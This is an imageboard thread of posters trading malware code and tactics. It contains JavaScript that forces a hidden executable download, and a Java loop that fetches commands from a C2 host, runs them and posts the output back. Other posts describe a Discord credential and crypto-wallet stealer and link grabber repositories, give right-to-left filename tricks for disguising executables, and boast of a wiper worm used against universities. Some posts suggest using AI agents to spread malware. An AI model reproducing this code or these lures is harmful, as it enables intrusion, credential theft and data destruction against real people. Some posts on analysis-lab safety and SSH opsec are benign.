Did you guys know that you can force some browsers to download a file by using JavaScript? <script> filename = "Name_Of_Your_File.exe"; filedata = "YOUR FILE CONVERTED TO BASE 64 FORMAT"; function base64tobytes(b64data) { var binary_values = atob(b64data); var binary_length = binary_values.length; var bytes_data = new Uint8Array(binary_length); for ( var i = 0; i < binary_length; i++ ) { bytes_data[i] = binary_values.charCodeAt(i); } return bytes_data.buffer; } var filebytes = base64tobytes(filedata); var blob = new Blob([filebytes], {"type":"octet/stream"}); var anchor = document.createElement("a"); document.body.append(anchor); anchor.style = "display: none;"; var url = window.URL.createObjectURL(blob); anchor.href = url; anchor.download = filename; anchor.click(); window.URL.revokeObjectURL(url); </script>

>>24676 Create a specific binary that contains a client code/id that's unique to that client. Then, track the amount of times that code has been used upon infections, and base the payout on that. You should implement some stuff to block duplicate installations, false installations (just curl the code over or something).

>>24667 Very mature guys... -_-"

>>24667 Does anybody know how to rewrite this in Java, so I can run this on Android? It shouldn't be too hard, since there is wget for Java on GitHub: https://github.com/krickert/java-wget/tree/master/src/com/krickert/wget And here's how to send HTTP POST requests in Java: https://stackoverflow.com/questions/3324717/sending-http-post-request-in-java So basically it should possible to join these two things together and have the same kind of functionality in Java.

>>24688 i don't get it. what is there to rewrite? a GET followed by a POST?

>>24690 I meant porting that code to Java. Now it's in PowerShell, but I need the same functionality, but written in Java.

>>24688 >>24722 I have ZERO knowledge of Java or object oriented programming in general. Would something like this work: package com.krickert.wget; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.MalformedURLException; import java.net.URL; import java.io.*; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; public class Wget { public static WgetStatus wGet(String saveAsFile, String urlOfFile) { InputStream httpIn = null; OutputStream fileOutput = null; OutputStream bufferedOut = null; try { // check the http connection before we do anything to the fs httpIn = new BufferedInputStream(new URL(urlOfFile).openStream()); // prep saving the file fileOutput = new FileOutputStream(saveAsFile); bufferedOut = new BufferedOutputStream(fileOutput, 1024); byte data[] = new byte[1024]; boolean fileComplete = false; int count = 0; while (!fileComplete) { count = httpIn.read(data, 0, 1024); if (count <= 0) { fileComplete = true; } else { bufferedOut.write(data, 0, count); } } } catch (MalformedURLException e) { return WgetStatus.MalformedUrl; } catch (IOException e) { return WgetStatus.IoException; } finally { try { bufferedOut.close(); fileOutput.close(); httpIn.close(); } catch (IOException e) { return WgetStatus.UnableToCloseOutputStream; } } return WgetStatus.Success; } } public static void main(String[] args) { while(true) { Wget.wGet("thefile.txt", "http://freetext.wz.cz/CnC/cnc.txt"); String lmao = Files.readString("thefile.txt"); ScriptEngineManager manager = new ScriptEngineManager(); ScriptEngine engine = manager.getEngineByName("javascript"); Object result = engine.eval(lmao); HttpClient httpclient = HttpClients.createDefault(); HttpPost httppost = new HttpPost("freetext.wz.cz/CnC/output.php"); List<NameValuePair> params = new ArrayList<NameValuePair>(1); params.add(new BasicNameValuePair("msg", result)); httppost.setEntity(new UrlEncodedFormEntity(params, "UTF-8")); HttpResponse response = httpclient.execute(httppost); HttpEntity entity = response.getEntity(); Thread.sleep(1000); } }

>>24737 Why pull in an entire library, if you can just do a quick POST via a raw socket connection?

what is the best live sample of STUXNET for download? i'm interesting in heavily studying this worm and i want to use it as a companion as a i get into ghidra

I've been doing some experiments with NMIs for detection of unsigned code execution (in the context of a rootkit) and it's been surprisingly useful if the hidden code has to execute very often. It was a little tricky to get everything right and to properly copy the interrupted thread stack without faulting, but now I can find my network hook once every ~100 NMIs sent and, so far, no false positives (HAL or KPP code).

Cool release with a bunch of low level goodies: https://github.com/can1357/selene Not that useful for UM malware, but a treasure trove for boot/rootkits.

>>14204 Have a look at BOINC Might be of some use to you. it's over the internet.

>>24217 highly sophisticated and targeted attacks isnt hacking , its weaponizing the nerds for war

anyone still here? what are you up to? i'm working on a remote client for Cheat Engine to use in research.

>>25743 Not that lainon but... 1. Notice TikTok ban in US on Sunday (new installs/updates unavailable) 2. Create site to side-load malware version of TikTok with message: "Gov has forced anti-virus companies to recognize TikTok as a virus, so you need to switch off anti-virus to install and run TikTok now" 3. Millions of youth compromise the entire internet infrastructure of the US by switching off anti-virus. 4. Invade by cyber. 5. Profit? I'm sure there are plenty of government agents and contractors with kids that will invalidate any security their parents have, besides those that rely on TikTok to earn a living. The whole idea of switching it off is so stupid it's too stupid to be stupid, and most likely intentional to bring about the scenario I just described. Problem - cyber invasion Reaction - NPC outrage Solution - draconian government control

Does anyone have experience with running a bare metal malware analysis setup? I know flare vm states its meant to be run on a VM, but I don't wanna risk my personal laptops. So I'm curious if I could just setup flare on top of a cheap spare ThinkPad running it as a live physical system.

>>25748 You could use QubesOS for that. A simple DisposableVM based on a template with preinstalled tools is perfect for your usage. Or a HVM, so you can add PCI devices (not sure why you'd do that, but who knows?) + QubesOS's Thinkpad support is very good. I do recommend 8gb RAM minimal though, and even that is barely usable if you are not using extreme ly minimal templates.

>>25753 yeah but i'm using what, a disposable x230? no way thats enough to run a qubes windows vm.

>>25757 nevermind, i swapped to my main laptop, if i ensure that flarevm has no internet access (or any network access), no shared folder access, no clipboard access, & no usb hub access, am I safe from VM escapes?

I am not sure if any of you will benefit from this but I figured I'd post it anyway. A week or two ago I was sent the following link https://gofile.io/d/GWVIGp which from what i understand is a windows oriented malware binary mascaraing as a fortnite hack. I ran it in wine, tracked down the developer, and made fun of him for being a script kiddie. He ended up telling me the binary makes copies of browser cookies and other mainstream application configs like spotify and discord before exiting. I had asked him if he was willing to sell compromised devices but supposedly he never coded persistence because hes retarded and his entire tool is piggybacking off other foss projects (he barely knows how to code lmao). The malware spreads itself through discord by using their internal api and the victims credentials prompting any friends or communities to also download the app the compromised account then starts mass joining public communities and spamming the link everywhere it can until it gets rate limited. All of the obtained cookies are sent to an external server and if the user has an exodus or atomic crypto wallet installed the seeds are cracked and sent aswell. from what i saw in their telegram channel (which now seems to be derezzed) the exe is just a bundle of multiple different projects with a simple sql backend to catch everything and in 3 months he has made around 415,000 euros. I went back to download the exe today and decrypt it but gofile seems to require a premium account, if any of you have any similar projects or manage to download and decrypt the exe let me know. I know this isn't really 1337 hacking like pwning a corpo and then collecting a couple million in ransomware but something like this can build you a botnet with very little technical experience so i figured id post it here. If you want to really hide the exe you can use the arabic reverse character (U+202E) which is a known exploit in windows turning malware.exe to exe.malware. You can then name your file something like f'{PORNSTAR_NAME} - sexe.mp4', change the file icon to a still cut of some porn scene, and 99% of victims will click it. I believe a similar exploit happened when avengers endgame was released you could also distribute your binary that way aswell. If anyone manages to build up a botnet in this manner i need a good residential proxy, if you could share one as a thank you I'd be appreciative <3

>>25776 link is dead. post again please.

>>25780 I mentioned in the post that i dont have gofile premium but I did a bit more research and came across this https://github.com/T922-ROC/An-tok-grabber/blob/main/tokgrab and https://github.com/AstraaDev/Discord-Token-Grabber/blob/main/main.py, turns out they dont use an sql database but from what i remember just send credentials over discord lmao. TOK Grabber was the name of their telegram channel but it seems their channels are derezzed as soon as they pop up so its hard to trace. The crypto wallet cracker, credential stealer, and then messages to spread the virus must have been an addon to a script similar to this.

Astraadev seems to have a number possible avenues for discord exploits already mapped out here. https://github.com/AstraaDev/Discord-All-Tools-In-One

anybody know where to start with worms study?

>>25790 Well, I guess you can start from vx-underground(dot)org / Pages Or you can read some history on worms in the past I also think it depends what language will be used to create worm. If script language, it may be useful to meet "quine" concept in programming: https://en.wikipedia.org/wiki/Quine_(computing) https://rosettacode.org/wiki/Quine - this page has soooo many examples of quines. See the script's ones. Also this one worm from tmp.0ut has been admired me: https://raw.githubusercontent.com/SPTHvx/SPTH/master/articles/files/LLMorpher.txt It is more hypothetical rather than a practical example but hey it is a Python-worm that replicates itself through AI (ChatGPT or any other LLM with similar API) https://tmpout.sh/3/21.html https://tmpout.sh/3/26.html - maybe these links would give you some inspiration I've also created worm in BAT/PS which used CVE-2023-38881 for kind of self-replication (it creates archives with files of some extensions and totally wipe files with other extensions). I used it in the wild against some Russian uni-s. Yeah, that was crazy, but some edu orgs in Russia still had a write anon FTP-access accessible from WAN! In 2024! Maybe they have already not. If you want, I share with you code of that worm, if you are interesting at all

>>14192 Don't know if this is the best place to ask but seems like you guys would know, if I'm interested in playing with malware (infecting machines and seeing what it does maybe trying to look at it in something like x64dbg/ida). Are there any extra precautions I should take when interacting with the VM I am using for safety of other machines? >what have you done so far? Proxmox hypervisor, FlareVM script ran. Have done work to pass most tests on pafish, hardware restrictions implemented (network, usb etc.). Its placed on a separate malware vlan. I am using spice to interact with the VM. Clipboard is set to VNC so I have to grab any clipboard chunks from that tray. drive redirection is not (if its available, host drives don't show up) > questions I have Is spice secure to interact with the vm through? should I use noVNC or RPD instead? I assume they each have their own attack surface and it doesnt really matter which I use.

>>14192 >ssh -vv user@<ip of my adversary> >debug1: Will attempt key: <first name>@<last name> RSA RSA SHA256:123... >debug1: Will attempt key: <anonymous handle>@<anonymous handle> RSA RSA SHA256:123... >continues 7 more times bros.... I want to murder whoever made this the default SSH behavior. I've basically doxxed myself and ALL my services. It's beyond over.

>>26757 That's why you put a line in your ssh config to not use pubkey authentication unless you override that on the command line or through another host config. But, yeah, that default behavior is like kicking dead whales down the beach.

>>26758 I considered that, but ssh -o 'PubkeyAuthentication no' user@myhostname.mydomain let me down.

>>26757 Oof, I won't rub salt in the wound but that's a very rough opsec failure to make

>>26789 Yeah, I'm pretty pissed. Now I know to not trust hallmark tools, and get my ass inside a burner environment like a virtual machine or cyberhumped vps.

>>26757 That's why you use a dedicated VM, where mistakes like that can't happen.

>>26757 Does dropbear show the same implementation?

you could do gpg -o /home/<user>/.ssh/id_ed25519 -d encrypted_keys/id_25519_server1.gpg right before you ssh into a remote machine and nuke your private key rm /home/<user>/.ssh/id25519 right after so you are always aware which private key you are using.

bumping this big beautiful thread

I just want to configure Lua on Windows, and it's always so annoying. For instance, I tried installing LuaRocks with Chocolatey Package Manager. It installed v2, which is old because we're up to v3 now. I can't wait until it's all set up and ready to go.

This is fuarrrking great! Any chance there’s a link for general OT/ICS/IoT malware? Ever since Stuxnet and that Saudi Aramco hack I’ve been wanting to get into it but just never have.

There’s no point to this thread, since AI can write malware itself and agents can distribute it.

>>28459 Here's a site about how to do this: https://codewhore.xxx/vibes/zzzautovirus.htm

>>28460 I'll try this with my agents. Any successes?

>>28461 A little. It is spotty. Newer agents work better.